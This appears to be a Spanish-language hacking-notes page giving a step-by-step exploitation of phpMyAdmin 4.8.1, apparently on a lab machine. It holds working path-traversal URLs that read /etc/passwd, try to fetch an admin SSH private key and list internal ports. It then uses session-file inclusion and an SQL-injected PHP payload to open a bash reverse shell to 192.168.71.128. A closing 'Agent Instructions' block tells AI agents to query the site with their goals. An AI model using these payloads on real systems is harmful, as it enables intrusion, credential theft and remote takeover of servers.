> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/cms/phpmyadmin-cms-exploitation/phpmyadmin-4.8.1-rce.md).

# phpMyAdmin - 4.8.1 (RCE)

**Identificación de vulnerabilidad RCE de phpMyAdmin**

Después de identificar que phpMyAdmin versión 4.8.1 es vulnerable, use SearchExploit para encontrar exploits coincidentes y confirmar la [RCE](/es/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-local-file-inclusion-to-remote-code-execution-lfi-to-rce.md) ruta.

<figure><img src="/files/7241999b5cd1d333722a1b5c4a1f6b1b78e93658" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/29d5a1b4a5ba6e15c7f7c084001ada82bbb96085" alt=""><figcaption></figcaption></figure>

## Vulnerabilidad RCE

Exploita la ruta RCE inyectando el siguiente script en la URL para leer `/etc/passwd`:

<figure><img src="/files/bc7580e4bef5abaa45ba20f5dce17c22a857d8f6" alt=""><figcaption></figcaption></figure>

```url
index.php?target=db_sql.php%253f/../../../../../../../../etc/passwd
```

<figure><img src="/files/5048bce56286733db866eaa5ec6ef91e9efcf96d" alt=""><figcaption></figcaption></figure>

**Intentar recuperar la `admin` clave privada SSH del usuario**

Intenta acceder a la `admin` clave privada SSH del usuario con la siguiente URL, pero devuelve un error:

```url
index.php?target=db_sql.php%253f/../../../../../../../../home/admin/.ssh/id_rsa
```

<figure><img src="/files/6b489d92cb30a86e40b1470bd947caa002395397" alt=""><figcaption></figcaption></figure>

**Enumeración de puertos de la red privada interna**

Usa la siguiente URL para listar los puertos internos del servidor a través de `/proc/net/tcp`:

```url
index.php?target=db_sql.php%253f/../../../../../../../../proc/net/tcp
```

<figure><img src="/files/99ca8c9a30acfa5b84facb48b025fb878071ae42" alt=""><figcaption></figcaption></figure>

Guarda estos puertos en un archivo `de datos` para análisis posterior.

```bash
for port in $(cat data | awk '{print $2}' | awk '{print $2}' FS=":" | sort -u); do echo "[+] Port $port -> $((0x$port))"; done
```

<figure><img src="/files/f8355a0f391ebe399bd3ec85cd9e760d76793252" alt=""><figcaption></figcaption></figure>

**Identificación del directorio que contiene las sesiones de phpMyAdmin**

Revisando el script, identifica el directorio que contiene las sesiones de phpMyAdmin:

```url
/index.php?target=db_sql.php%253f/../../../../../../../../var/lib/php/sessions/sess_{}
```

<figure><img src="/files/05400d5ed22a763be7b28fd444613430fafb6f96" alt=""><figcaption></figcaption></figure>

## Inyección de comandos en phpMyAdmin

**Uso de la cookie de sesión de phpMyAdmin para inyección de comandos**

<figure><img src="/files/ebd5d99adb5d4801eb71ead84510693af7d3fb7c" alt=""><figcaption></figcaption></figure>

```url
index.php?target=db_sql.php%253f/../../../../../../../../var/lib/php/session/sess_38f8d56u6em5usl5fd9s9v3pe66qh7v1
```

<figure><img src="/files/84b7ee2ff4c6f134c6c2fc43855af9ff8ecd1b8b" alt=""><figcaption></figcaption></figure>

#### Este archivo interpreta comandos de las consultas.

```sql
SELECT 'testing';
```

<figure><img src="/files/d975cb3236d4a69bd105ffbaa01f2d4dbc1c67d2" alt=""><figcaption></figcaption></figure>

**Inyección de comandos SQL para obtener una** [**shell inversa**](https://www.revshells.com/)**:**

```sql
select '<?php system("bash -i >& /dev/tcp/192.168.71.128/443 0>&1"); ?>';
```

**El acceso a la máquina finalmente se logra:**

<figure><img src="/files/d4856fb7c406681e28bc8bf20d165b66fc5772a3" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/es/cms/phpmyadmin-cms-exploitation/phpmyadmin-4.8.1-rce.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
